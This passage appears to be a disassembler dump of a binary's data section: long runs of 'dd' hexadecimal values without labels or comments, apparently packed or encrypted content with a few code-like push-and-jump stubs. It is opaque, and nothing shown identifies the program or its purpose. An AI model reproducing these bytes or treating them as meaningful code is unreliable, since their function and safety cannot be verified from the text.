		dd 92A71B0Eh, 0D2789420h, 5E8BE797h, 63CCD993h,	1EE4F90Fh
		dd 53562842h, 94205DEFh, 2A4E2B07h, 0ACBEFDAFh,	92F3CDBFh
		dd 0F207BB5Dh, 0FC3BED6Ch, 499944Fh, 9B0C184Ah,	0AE4h
		dd 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh, 58D413B5h
		dd 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h, 966A65D9h
		dd 0DA552F93h, 62EAC76Bh, 225F04D7h, 5ED5F26Eh,	6E9862AAh
		dd 0A68AB6C7h, 0B96DD5D4h, 0AD896DCCh, 422B15C9h, 0D1065F55h
		dd 0FDB6938Ah, 0C39D1146h, 8854EE9Dh, 0B4B06DCCh, 79320D97h
		dd 0DCC807A9h, 11887C58h, 40A9255Ah, 501h, 2D96D78Ch, 7A4626DAh
		dd 0B1EA9F16h, 31AA499Ch, 0D57A411Fh, 17C8C398h, 0AF67FCEFh
		dd 2E98BFB3h, 0CD943C9Dh, 17DA1FB6h, 0F7397A55h, 254h
		dd 7C5F0255h, 0EB0A6DCCh, 352BDEF0h, 0CD67F61Ah, 1E2E3948h
		dd 0A1C5FBA3h, 822AB1CFh, 0FEDB574Bh, 0E6508E35h, 0C29D7918h
		dd 0A82FABC7h, 0E9D6CAFFh, 92D376CAh, 8C5E82DEh, 546E772h
		dd 642CEFD8h, 45224D3Eh, 155C1D5Eh, 20CDA99Eh, 4031CEBBh
		dd 0E9D2C3D3h, 0D6000009h, 0BE3DF134h, 0DC5BCF06h, 0E970EC25h
		dd 0C6550946h, 8167E322h, 0F635D705h, 0D112B342h, 0ED28DE5Dh
		dd 0C41EA71h, 0A8635D50h, 6BDA561Ah, 32179DFAh,	39504479h
		dd 4A835D92h, 0FF185C47h, 0F705D01h, 0A81944E5h, 0CF8C7A4Fh
		dd 530C15ACh, 0AED0AA1Eh, 0CC7F47FBh, 0A6C39F6Dh, 6B3320F1h
		dd 19A0033h, 0D74A0000h, 70245D04h, 932FDAF4h, 736DCC7Ch
		dd 0B259E2F7h, 5912897Dh, 0DD8F4A24h, 0B015C99Eh, 0F198B229h
		dd 67FC11C8h, 3C2EE23Eh, 0BA8FC87Dh, 239675D1h,	44DB9894h
		dd 7B4050A1h, 693039h, 304E0000h, 239EC979h, 1C312D94h
		dd 6004D790h, 3AF17521h, 0C9AD5994h, 19C251B4h,	87D17447h
		dd 0C0CD7D86h, 0D4C0A40Eh, 0A6657B50h, 67FC638Dh, 0B2F9AD89h
		dd 943C6214h, 564A8529h, 0DA518A3Fh, 1F06FA33h,	0AFBC160h
		dd 0C201A336h, 0A67552CEh, 0F6B5CB0Fh, 943C624Ch, 0E8AFCCA8h
		dd 397B1825h, 0CF05h, 8C40FB00h, 3294304Dh, 39504479h
		dd 2DAC5897h, 0E7253876h, 0F27B6A3Ah, 0FCA322CEh, 0F45413C7h
		dd 456DCC2Ch, 0BF5699Eh, 0B5619850h, 372824A8h,	8C689DF8h
		dd 0D4070E6Fh, 0FFAE4FAh, 6DCC85B3h, 9230D753h,	0AB6DCC85h
		dd 4ED2BEF5h, 0D3A5C29Eh, 0FA48E8D8h, 0B5230867h, 0C9C4A2B2h
		dd 7BC7C29Ch, 9B942270h, 0B7C9A3BFh, 21467B24h,	2A594806h
		dd 9A2136C7h, 7403B7F6h, 8D2C91D0h, 0A14A0691h,	85EE4F5h
		dd 9B4B0000h, 0AF55E458h, 9035C478h, 0AF54E357h, 8D3FB672h
		dd 90ECDA4Eh, 0BB6FAE62h, 9448893Ch, 0B2266105h, 93477C23h
		dd 5DE5A498h, 0B96BDA57h, 7E32703Ch, 0F5AE2D3Fh, 0A433ABC0h
		dd 0B7B4C6FBh, 47FA3A65h, 0A4E18658h, 9533ABC0h, 245D04D7h
		dd 95D38C47h, 81AF79A4h, 4BF1D64Dh, 6A0F4673h, 5A256C51h
		dd 820CDA32h, 6C13B25Eh, 7E028337h, 7A000002h, 4C1EBD5Ch
		dd 0F61A2D5Dh, 0C9BDB967h, 259E24A2h, 15ACC794h, 8153FDD0h
		dd 22EDD39h, 22F0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F61A672Bh
		dd 29431F67h, 8C4F9B2h,	0F1A5DA91h, 14E6F504h, 15E05415h
		dd 0D176F29Eh, 40314AF0h, 9DF3E4B0h, 8A000007h,	0B229A5E8h
		dd 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh, 252397D6h,	0BAF9ABD9h
		dd 95D677FEh, 0B1ECA219h, 90C57EFDh, 5C4F311Ch,	6BDA50E6h
		dd 321BA1FEh, 0DE504479h, 6822EFEDh, 0EB00D264h
		dd 45E7B770h, 3A161A06h, 0F74B3E20h, 486DCC69h,	0B6BA66A3h
		dd 918D6AC6h, 0CE08A7BCh, 6D195A0Bh, 77C1E400h,	9EDBB6Fh
		dd 0F0C067F4h, 75AA613Dh, 0A5C1A551h, 0F79B7629h, 817B336Ah
		dd 0D1000001h, 50447932h, 69AA5BDEh, 17A4B9BDh,	9D7F3B70h
		dd 422E671Eh, 5D7C09DEh, 97926C7Eh, 6DCC7C2Bh, 667A4FCBh
		dd 0FC1186A3h, 0F0A48067h, 0CA09BB7Eh, 0E2C951D6h, 2E64368Ah
		dd 0F04E3512h, 139423DBh, 0C805C160h, 8A1F943Ch, 0A55BDA2Ah
		dd 4BA6596Eh, 2B397BB6h, 4Dh, 0A2E38655h, 11B372EEh, 5C2FF5D2h
		dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5CE4104Eh,	0F1877377h
		dd 73B256D5h, 4501A856h, 0DA943C94h, 0B80A0136h, 5C943C94h
		dd 9930E400h, 0D9CBB7F8h, 54458B2Ah, 8C65801Fh,	6C397A4Dh
		dd 0CEh, 447932DEh, 58973950h, 0A6762DACh, 5CCEC203h, 0CC7C15ADh
		dd 5175F16Dh, 610A8175h, 23F9B02Ch, 0FC6DCCF6h,	459A0E43h
		dd 2D532DAEh, 0FAEA5853h, 0E0A9233h, 33FADB67h,	0ADF3B92h
		dd 370D33F6h, 89E59805h, 53CE477h, 20381511h, 0A6B8F799h
		dd 0C6548DA5h, 226D58E6h, 0B821469Ch, 0FC7A449h, 0EA58532Dh
		dd 0A942027h, 4C161305h, 4420503Ch, 0B9F8AC27h,	4348914h
		dd 28B1654Ah, 5FCh, 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h
		dd 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h
		dd 6E523DF1h, 0DA5207BBh, 3A02DF6Bh, 2D3F7E32h,	90BDF8AEh
		dd 424B4D08h, 793D1A71h, 0F9C2A6A7h, 314D3799h,	0B3E89F1Ch
		dd 793271F7h, 92395044h, 3268E15Dh, 0D4000000h,	5B4E7932h
		dd 6DCC7CE7h, 533F23FFh, 0AA568B34h, 98936D0Fh,	6DCC7C2Ah
		dd 0AA794ECAh, 0FAB1CF0Bh, 6DCC7C48h, 209BB0ACh, 0D763267h
		dd 30h,	0A96D77Fh, 8C3D51E9h, 0E2895227h, 15B2F9ADh, 0FD6DCCBAh
		dd 30AB2FC6h, 0D0544079h, 528740FBh, 0A7675378h, 826EAF62h
		dd 9BFAB99Eh, 3FCD9166h, 2A447932h, 0AE54941h, 0A2B7A5ADh
		dd 0CA080FE4h, 1258A907h, 58724E6Bh, 0F6CFD5B1h, 9BB5B167h
		dd 76326720h, 0D17848FFh, 7FC3C698h, 979426CAh,	0F6CBB79Bh
		dd 27E2FCDFh, 9E1CAC8Ah, 633DEF6Ah, 0B35F83C0h,	885E8AAFh
		dd 0FFE95DFDh, 223C38EAh, 375B2429h, 0A9BEAE9Eh, 265B04D7h
		dd 477C23B2h, 834F665Bh, 0C8AB3FACh, 0AAC4A0B3h, 281BCEFFh
		dd 0AF1C1894h, 5E2C8222h, 0C1891A0Ah, 0AE000004h, 7605B9FCh
		dd 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh, 0AEED9FCDh
		dd 89CA7BFAh, 65A046D5h, 84B972E9h, 30DBE5C8h, 6BDA5392h
		dd 32AF7572h, 0E75B4E79h, 0FF6DCC7Ch, 0C8B3F23h, 1F4C1E53h
		dd 8726D731h, 1486D0B9h, 205F5E2h, 5848257h, 5E7D295Eh
		dd 22B96DA8h, 2C3F336Ah, 1BD0FC93h, 9F48E988h, 0D05B906Ah
		dd 70A8FBAh, 6B97D5Ah, 336AF4ABh, 458Bh, 0BD5C0100h, 645D4C1Eh
		dd 8267FCCAh, 0D4AAD4A6h, 23CE6DD5h, 0D0AD8994h, 4A245F03h
		dd 6BB5521h, 0ACF38D6Ch, 0FC5AABE5h, 5509DE02h,	23632E96h
		dd 0A48FF94h, 9C05C856h, 28A4C01Ah, 0CEC2FDB1h,	403C5h
		dd 96D73700h, 0C456E9FDh, 0CC7A436h, 324C1E53h,	0CCE6CB77h
		dd 52392B6Dh, 6DCCE6F0h, 1F3C1814h, 8ABF685Fh, 0B96DECCEh
		dd 0B98E927Eh, 7C4E8D2Ch, 0FC8BAC8Dh, 12FE5A67h, 3CF8FB43h
		dd 0CA691A94h, 7AA5DE2Fh, 3DBE39h, 0D70C0000h, 472B1096h
		dd 28155F47h, 5E458912h, 98E502E6h, 89805A81h, 67FC74A8h
		dd 57FEF26Eh, 943C7BEFh, 1BDE750Eh, 397B2ED2h, 0D56D1C42h
		dd 31942387h, 9AB6F79Ah, 0A70BBDh, 32810000h, 542A4479h
		dd 0CC7CED55h, 502D096Dh, 5695374Eh, 3F742BAAh,	0AC62D953h
		dd 28DF5C71h, 89037F3h,	966DCC01h, 8701C168h, 89E59233h
		dd 0B40E774h, 0EA1FC84Fh, 0B12AC936h, 0F42FEC9Fh, 5BD79803h
		dd 687382DFh, 3AF16896h, 38151105h, 155C7F4Bh, 0D1AB879Eh
		dd 0B327660Ah, 0FDA68024h, 7C58DCC8h, 35A6D8CFh, 0D7C0D440h
		dd 310h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h, 4C003FF1h
		dd 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h, 4A361995h
		dd 0DA4DE35Fh, 1EA6036Bh, 8B3F7E32h, 0AA1E530Ch, 1EBD5C1Ch
		dd 0C139324Ch, 15A192B4h, 58EAA1BBh, 0BC6DCC5Bh, 0B3A08B60h
		dd 5367FC5Bh, 8C8ED3CEh, 2440661Ch, 0A71F214Ah,	391C8840h
		dd 51765A95h, 62CE8C8Dh, 39E50275h, 3CDAD472h, 27393794h
		dd 3CDADE64h, 203A3694h, 3CDAD969h, 0CE13D94h, 945D9837h
		dd 74397A8Fh, 0B3h, 0AA96D7D6h,	0D47AB1CCh, 0A14A11E6h
		dd 85C6B86Ch, 644B8110h, 54DFFCE2h, 0D68571B0h,	6DCC1A56h
		dd 0B1CB00A7h, 6A66DCCFh, 0A27E6DCCh, 0E18A11C5h, 0EC0BF8ACh
		dd 0ED2EDDEFh, 9967FC19h, 994CBE94h, 765AAC0Eh,	0EA565DC2h
		dd 171B0746h, 0B16A213Bh, 559E0A5Fh, 903407D9h,	0AA5EDD51h
		dd 0AF9DFE6Bh, 0F9AD4036h, 213F0h, 0B4E0000h, 0E920C84Fh
		dd 63FE675h, 0E320C352h, 0FD3CF067h, 0CD3F4B41h, 0D960DC1Bh
		dd 0B443F738h, 0E057D30Eh, 5336F227h, 4E00C269h, 7E46BDAh
		dd 3F7E323Dh, 862AB18Bh, 2A93247h, 0AC2F11CDh, 0AB8EBBF6h
		dd 0C3C0B4B3h, 0D7FDC7A4h, 75216004h, 8C78AD56h, 24AFCCA8h
		dd 0B9FAAB7Bh, 0EE9DC39Dh, 6DCC7C54h, 0AFC3B07Bh, 0EBA3DDC5h
		dd 34309279h, 58D46DCCh, 289F5F7Ch, 0BDFEAF7Fh,	39EE6DC9h
		dd 482C08FCh, 6AD73536h, 0BBBFAD80h, 0EAA1189Eh, 0EC6FC1B5h
		dd 2D09FD34h, 0B526AD50h, 26A3F09Bh, 7A4167FCh,	0BBBF9CD1h
		dd 9221B35Fh, 4E7932F3h, 3C69E75Bh, 3F23FF94h, 0EA58532Dh
		dd 0A943C69h, 9B85390Eh, 0CFD290B2h, 0E603E565h, 815B8097h
		dd 0C5B218Ah, 9D89E59Eh, 641045FEh, 84DB7A49h, 0C5946675h
		dd 0EF11E621h, 7E54DC11h, 9B0FCDFFh, 8674FAEh, 9CB185B3h
		dd 1CFC4AEFh, 6F57BC94h, 8CF6E441h, 3DF1CCFh, 0AF639E44h
		dd 0FEBD8FB3h, 11160A4Bh, 0F5B17AAEh, 76536F49h, 0C29239C0h
		dd 3E22CE0Fh, 0B3576E22h, 5B656678h, 87AE0498h,	0FFE995B2h
		dd 0B229AD44h, 54D0C4F9h, 3303BC77h, 0C1A55192h, 5810CBA5h
		dd 73E87521h, 5FD7E862h, 0D28C6185h, 5B75666Dh,	2C9EE3B0h
		dd 0DBC7A38Ah, 22CE03BCh, 0ED6201B0h, 30DBF5E6h, 803C4263h
		dd 2E934723h, 6F1A34A7h, 864623C6h, 9930E440h, 1F01BDF2h
		dd 0D4A9E89Ch, 0DA906007h, 88CFC39Fh, 0EFE5880Ch, 223C2E1h
		dd 0ED7B0B49h, 0CD078FD8h, 5B04D7A9h, 0E8D5126h, 0C37F2A55h
		dd 23CEC624h, 5772B47h,	77549136h, 0D6CA07BCh, 25D10ABFh
		dd 0DCC8FDA6h, 349837CAh, 0B7BFAC82h, 5FC39C84h, 40DFC499h
		dd 0B25A2AE1h, 0F9E3577Bh, 0E69E24E7h, 5554CEC6h, 0CEC6E6EDh
		dd 0F9752D09h, 72B057E4h, 419946BAh, 4B371BABh,	8BC26AF1h
		dd 12F36Eh, 0D7490000h,	7C4002A9h, 0C8A46DCCh, 71255A11h
		dd 0C288D8F5h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		dd 0E28952CFh, 4BF57h, 0FA010000h, 4EA835Fh, 5C241487h
		dd 5A5F68h, 24348900h, 3CE668h,	241C8900h, 0A742B7BEh
		dd 17BB5354h, 81216762h, 0CD7301F3h, 2EBC135h, 5887F381h
		dd 0DE01B444h, 4EC815Bh, 89000000h, 4832424h, 835B0424h
		dd 348904ECh, 242C8124h, 778142D9h, 8108438Fh, 42D90843h
		dd 34FF7781h, 0C4815B24h, 4, 5324348Bh,	0C381E389h, 4
		dd 8704C383h, 0E95C241Ch, 0FFFA4B7Ch, 70EE92FCh, 0BB07BBDh
		dd 16346AB8h, 0FFC50306h, 79D519E0h, 6136D263h,	0B85F3041h
		dd 6D9F561Fh, 75027940h, 97030763h, 0BC7D933Fh,	0D98A9838h
		dd 0EB191851h, 2034B538h, 81B88025h, 61893064h,	0A4DD1417h
		dd 95C6330Dh, 0C15FAD13h, 0BCE6C673h, 81C2091Bh, 42F7430Bh
		dd 0E391B58h, 0C87FD54Ah, 3A851D7Eh, 9E80F012h,	352D2432h
		dd 299DB808h, 763E5F6Eh, 3540B67Ch, 13AA3105h, 5BEFC300h
		dd 3E8D8D18h, 6A061636h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0E66CC357h,	30F9858Bh
		dd 8D890610h, 61009F5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0E8C35242h, 60E9EB28h, 6654E380h, 6146C2BFh
		dd 280D9D8Bh, 85C70610h, 6102319h, 6998h, 1C19D29h, 85C70610h
		dd 61022C1h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EDC35545h
		dd 24983F4Eh, 891784A0h, 100C6D85h, 0D5B5FF06h,	0E906102Eh
		dd 14h,	0FC872E79h, 1CC02062h, 0DF5CD8DFh, 0D4929218h
		dd 0B8D7E19Eh, 2DB995FFh, 6A0610h, 31C995FFh, 0C08B0610h
		dd 5DC51CEBh, 0B4205619h, 0EDA0C361h, 489CFFDh,	6178B73Ch
		dd 4371DE9Fh, 0B1BB1543h, 11E82E9Fh, 31000000h,	1818739h
		dd 9992A929h, 0CC645C8Fh, 6490939Fh, 0FF46B866h, 0C68B6659h
		dd 6800C181h, 0F28B0000h, 68h, 69B58B00h, 5F061031h, 21999D89h
		dd 1C8B0610h, 0B19D0939h, 81061023h, 0AED0F0C3h, 13E85Eh
		dd 0FACB0000h, 0D1EBB09Bh, 0F99D3DBCh, 12C3CB6Dh, 5EECA1ECh
		dd 858B5312h, 61020B1h,	0EB815E5Ah, 6AE41D14h, 81C1BF0Fh
		dd 8B8673C3h, 6890F68h,	8B000000h, 1018F985h, 391C8906h
		dd 21A58D89h, 880F0610h, 6, 2A05B529h, 0EF830610h, 4F4F4F01h
		dd 2ACD9589h, 0FF810610h, 0FFFF98B8h, 0FF88850Fh, 0CE9FFFFh
		dd 0B2000000h, 0D847995Ah, 0F17F8E34h, 0E947A4FCh, 89h
		dd 26051B78h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h,	7C4DB297h
		dd 95B7E3h, 0E9A9E572h,	9BB69CB5h, 0B6F37760h, 9EB794A9h
		dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h
		dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h,	48D100FDh
		dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh
		dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h,	0DA43700h
		dd 910D3C2h, 0Eh, 2 dup(0)
		dd 1075E900h, 66680000h, 0E9061639h, 0FFFA48B0h, 163A9968h
		dd 48A6E906h, 8E68FFFAh, 0E906163Bh, 0FFFA489Ch, 163C9D68h
		dd 4892E906h, 0E68FFFAh, 0E906163Dh, 0FFFA4888h, 163DBB68h
		dd 487EE906h, 6268FFFAh, 0E906163Eh, 0FFFA4874h, 163EEA68h
		dd 486AE906h, 0D568FFFAh, 0E906163Fh, 0FFFA4860h, 1640A468h
		dd 4856E906h, 8868FFFAh, 0E9061641h, 0FFFA484Ch, 1642D068h
		dd 4842E906h, 4F68FFFAh, 0E9061645h, 0FFFA4838h, 16467468h
		dd 482EE906h, 53F3FFFAh, 671D9C10h, 48FD7C30h, 671C9B0Fh
		dd 8527AE2Ah, 68949246h, 0A31756FAh, 7C307114h,	9A0E49FDh
		dd 7B2F641Bh, 45FDAC90h, 0A16BDA44h, 79327844h,	92395044h
		dd 7584E15Dh, 1EC59466h, 24393DE9h, 0BF29223Ch,	5B93A006h
		dd 2A0FFCD1h, 0DC67FCD5h, 79C59480h, 9C943CD3h,	4DFFBAA4h
		dd 17FE620Eh, 943CD3ABh, 9032D94Bh, 74943CD3h, 1CFFDCF8h
		dd 0D17A4185h, 0F5B8BF9Ch, 0D5397A7Ah, 38h, 1EBD5C37h
		dd 7C745D4Ch, 8D9267FCh, 9D96B4BDh, 60E2C97Fh, 84943CC7h
		dd 0FCA8CCA8h, 67CD4982h, 331B318Eh, 0DAD16D16h, 7F34943Ch
		dd 8FAC05E0h, 0B88C397Ah, 0FE000000h, 50447932h, 0AC589739h
		dd 276407D2h, 59E2F77Bh, 12897DB2h, 1A82459h, 6DCC017Ah
		dd 994E1EC5h, 35C4785Ch, 58AD598Eh, 79401AC1h, 98C09DD2h
		dd 3F1F0F1h, 401A1698h,	0DE77810Bh, 0F409D057h,	24C9906Ah
		dd 686F0EEBh, 1F534D8h,	7C2F4125h, 9E1597D7h, 0A219332Fh
		dd 326F14EEh, 691B9A0Eh, 0C598BD2Ah, 0E4B04034h, 0E19F3h
		dd 0D71ACC00h, 0F52CD463h, 0D20BC239h, 0EF2CDF56h, 0C908BC3Bh
		dd 79EB1715h, 952498D7h, 80F7B3F4h, 9C1B8FCAh, 0FFAAEE3h
		dd 45C47E2Dh, 0C3206BDAh, 3F7E32F9h, 9ECFB18Bh,	0D22D5126h
		dd 53EF962Eh, 0B36DCC24h, 7219A2B7h, 5CEB813Dh,	0FBB128BDh
		dd 7C6DD5C4h, 0AD896DCCh, 463A7B2Eh, 65F406EAh,	989C88BFh
		dd 1A2F7021h, 7C6E4346h, 0CCA867FCh, 917866D8h,	943C7C31h
		dd 878459D5h, 943C7C3Fh, 0EB0EA5DEh, 397B3622h,	45295992h
		dd 0CE759C2Ah, 238567DBh, 0BFA37F94h, 0D646AAh,	0D7840000h
		dd 407D32A9h, 0CC7CE959h, 3C110D6Dh, 0DF93C87Fh, 0AB8738Dh
		dd 0EA6DCC7Ch, 2EE2596Eh, 7CB012F9h, 0D8546DCCh, 0DA6108FCh
		dd 256DCC01h, 695497Eh,	2856285Dh, 3380C181h, 34492592h
		dd 0CA767D72h, 3C38EC21h, 71184618h, 923380D1h,	3C243935h
		dd 0BAF19722h, 968D6AC6h, 9803F68Dh, 34914D29h,	3A2436A5h
		dd 2391F34Fh, 32171394h, 364F7310h, 2F51267Fh, 1546C67Ch
		dd 28421E9Eh, 0ABC0FFB1h, 236206D5h, 3D7C30A7h,	35ECA190h
		dd 0D0D9CD40h, 0CE6h, 2B6F999h,	2296CD73h, 0F9B5EE93h
		dd 1C90CD82h, 30ACEB9Dh, 0E89CCE3Ah, 3A635A9h, 0DB8F06C2h
		dd 0F6AD2CA0h, 1E220DC1h, 0DA46D76Bh, 0EAB22F6Bh, 8B3F7E32h
		dd 0AC15530Ch, 1985A7A6h, 0BD4BFFE3h, 50447932h, 0B90900DEh
		dd 5D6DCC7Ch, 0B86FEC01h, 1C0841E8h, 0F9803C18h, 7A411B54h
		dd 8BE79BD2h, 0FEDB16CCh, 0ADE28900h, 0BA3F8D31h, 0D0AEC01Bh
		dd 9B3ABC9Bh, 2C41CC1Bh, 0FCCEE27Fh, 0AD280467h, 0B2E741FEh
		dd 47F9008Ch, 0B5B165A6h, 0CF8EBF91h, 1352F6A8h, 3BD6035Fh
		dd 28502DF6h, 9A4C8081h, 0D7146665h, 3A5E42F9h,	0C77B2A72h
		dd 58919AC6h, 0A58175B4h, 0A15571EDh, 4416C554h, 0AD3B6745h
		dd 82289F9Bh, 0CDB9F8ACh, 9D998D69h, 497AC8C3h,	0BE9A9B8Fh
		dd 5A11C8A2h, 0D9904B25h, 0CA2EBBA0h, 7135EF2Dh, 0AC53E25Ch
		dd 1F71D277h, 653145ABh, 0BF174h, 0BF02A400h, 9DD48C0Bh
		dd 0BAF39A21h, 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh
		dd 0A82FABECh, 8413C702h, 3732A6DBh, 47FC4645h,	9B186BDAh
		dd 44793211h, 87546350h, 1EDDB675h, 22B967FCh, 9A0E326Bh
		dd 532DAE45h, 0C8AD402Dh, 0B354A9B2h, 0BE0CED96h, 1EFA9E13h
		dd 0C59B2372h, 497A9E13h, 7C7E4FAAh, 475E3F8Bh,	0AC000000h
		dd 4C1EBD5Ch, 0FCCA645Dh, 319D8267h, 7072A37h, 647EA61h
		dd 3BEE10EAh, 94230B87h, 0C6BAEF98h, 0FFB6B26Ah, 1D190D4Eh
		dd 0EDA11840h, 0F14FF6B2h, 4A94230Bh, 69F06CA1h, 0A4968AC5h
		dd 18357215h, 0B41A9h, 0BD5C2300h, 0F5D4C1Eh, 9767F633h
		dd 49E20A92h, 970ECF52h, 68CCB8F3h, 40E7728Ch, 1FC84F0Bh
		dd 2AC936EAh, 2BEC9FB1h, 0D39E1F0Ah, 0DB68557h,	0BF7A64D8h
		dd 42F9CE0Dh, 53A05489h, 464517C4h, 942F0771h, 7E9F888Dh
		dd 24A137B4h, 0E3086B54h, 0EFD31C8Dh, 2AF0C34Ah, 0EEF7AF5Eh
		dd 0AE2h, 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh
		dd 0F468A749h, 0B4588AF6h, 8F42B975h, 0A75BDA4Eh, 0C269F06Ch
		dd 0E2DED18Dh, 0DA409B27h, 961E7B6Bh, 0CC7C4402h, 0F1F4036Dh
		dd 0CC7C883Ah, 0D4F06C6Dh, 33C60FFAh, 0A48067F6h, 94B2A1CAh
		dd 0BE53AAA5h, 5B04D7A9h, 7C23B226h, 4F665B47h,	0DAB7728Ch
		dd 0BC9E15CAh, 1F7EFB60h, 3E564031h, 0A7155h, 3F822400h
		dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh
		dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 417CC6C5h
		dd 1B986BDAh, 44793291h, 0E4EDDE50h, 60F66F49h,	21CA9166h
		dd 329138ECh, 787B5693h, 0CD5B336Ah, 0B1000004h, 15D596D7h
		dd 8F9B3A7Eh, 0A4B99DDEh, 5729B241h, 0C4F9B229h, 8C7754D0h
		dd 67F6EE7Fh, 8A512B07h, 0A930ACE1h, 67D9CD02h,	0CE0FC279h
		dd 0EB573E22h, 449426D9h, 0B1B561A0h, 9B8865C1h, 9426D923h
		dd 2A44971Eh, 0D5C1FAAFh, 0A5647C51h, 9E16BBCCh, 76E94ECAh
		dd 3A40322Ch, 9C4796Ah,	0D7770000h, 0EBA11894h,	0CC81F8B4h
		dd 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h
		dd 86427D31h, 0A723580Fh, 71D1B8C4h, 956BDA41h,	79328C18h
		dd 92395044h, 0A122A95Dh, 2A26E702h, 0C396336Bh, 640CE122h
		dd 424h, 562ADF5Ah, 7F5C78ADh, 7C4402A5h, 0F4036DCCh, 7C883AF1h
		dd 0F06C6DCCh, 7C972BDEh, 0F36F6DCCh, 70EFDCFh,	0BF67F633h
		dd 19D28963h, 3AF168E4h, 5517DE0Fh, 7975EB40h, 25CB3092h
		dd 7C58D494h, 7F23B688h, 3FD62744h, 0AAC7C29Ch,	6C9E15A9h
		dd 3AA24BF0h, 0C2D24031h, 91DD1h, 0DB1ED000h, 0F930D85Fh
		dd 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h, 49D08CCBh
		dd 64F367A8h, 50C783BEh, 3E66297h, 42B012F9h, 57546BDAh
		dd 447932CDh, 5D923950h, 0DA0FB883h, 497A01FDh,	2A930AAh
		dd 26E7B0CDh, 6336B2Ah,	378h, 7C5E0244h, 0EA096DCCh, 1E2CDFF1h
		dd 0E667F633h, 42E9708Ah, 8E82BB72h, 7BFAAE92h,	0EE38FC4h
		dd 0FFAD407h, 9E15C84Ah, 0A4E385FCh, 6D781BC0h,	144031h
		dd 89597h, 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh
		dd 559438BFh, 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h
		dd 0EBDE5A8Fh, 42A81A11h, 4F4C6BDAh, 447932C5h,	5AEDDE50h
		dd 93D073ABh, 22CD42A6h, 0A0D58E45h, 6D0497F4h,	72E61BC4h
		dd 6B2E66A7h, 6F95D633h, 4BC9E8C2h, 180EC297h, 30000000h
		dd 0DDC906A9h, 0D7A88459h, 7C4002A9h, 0C8A46DCCh, 2CA36B3h
		dd 2860000h, 6DCC7C5Eh,	0DFF1EA09h, 8D6AA75Ch, 20C6956Bh
		dd 12EEF8E5h, 4D771371h, 0A24C7330h, 0B58467F6h, 462AD611h
		dd 0DBF57131h, 588D3605h, 263F8386h, 5BD79426h,	0D90EB57Eh
		dd 0F82DD665h, 72B153E6h, 4D7A955h, 0F67A265Bh,	0A5518A3Fh
		dd 0BA59ACC1h, 7A314F21h, 942626C8h, 451B302Ch,	165B0546h
		dd 21CAC19Eh, 183C38ECh, 32FBDEB3h, 553E5640h, 7AAh, 0EE6AAD5Dh
		dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh
		dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA43833Fh
		dd 0BE86636Bh, 74C996D7h, 2B104900h, 4F2C5C34h,	0F9B0DB84h
		dd 6DCCA249h, 0E195B1ADh, 4016CC8Fh, 57745089h,	2EE23DCh
		dd 969F3645h, 3904B8EDh, 336A5778h, 0E58h, 2ED36600h, 482501F5h
		dd 1E2407Ch, 28C0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F6330D2Bh
		dd 6779F567h, 0E4F62BD4h, 6277B055h, 2DDC02DCh,	9425B595h
		dd 0D1B5EC71h, 0FFE55A2h, 0E69D1633h, 0E9F0C5B1h, 6831D8F2h
		dd 0FC9E1530h, 0CCD887CFh, 1C31232Bh, 8DB86F66h, 1502249Eh
		dd 8064C09Eh, 7B49094h,	4031D078h, 0DBF7E0B4h, 8E000006h
		dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh,	0D9CF8BCAh
		dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h
		dd 6BDA3CB2h, 32CF5552h, 0DE504479h, 6B35CB00h,	18255022h
		dd 0CC4BD171h, 7ABB6E6Dh, 1E550B82h, 0F5AE2542h, 0FB5D4C0h
		dd 0F8AD2CD8h, 0E576D3BFh, 546E74Eh, 3C311511h,	8B4E8827h
		dd 0F7C499DAh, 0DC9F1B50h, 336AFF11h, 14F1h, 964C0F00h
		dd 571CA665h, 7CF86DCCh, 40A98358h, 0FCh, 7C5F028Ch, 0EB0A6DCCh
		dd 0A55BDEF0h, 0C99E826Eh, 33DCF4B7h, 383467F6h, 0B7EC9326h
		dd 8DCB7403h, 2F1AEC41h, 5EA73067h, 392988B5h, 9A671B37h
		dd 9B8E607Bh, 9E155BDEh, 59790546h, 0DE61EFE2h,	2004F025h
		dd 12DF1744h, 0D5E68F74h, 0C12602F8h, 40318FF0h, 0F7534450h
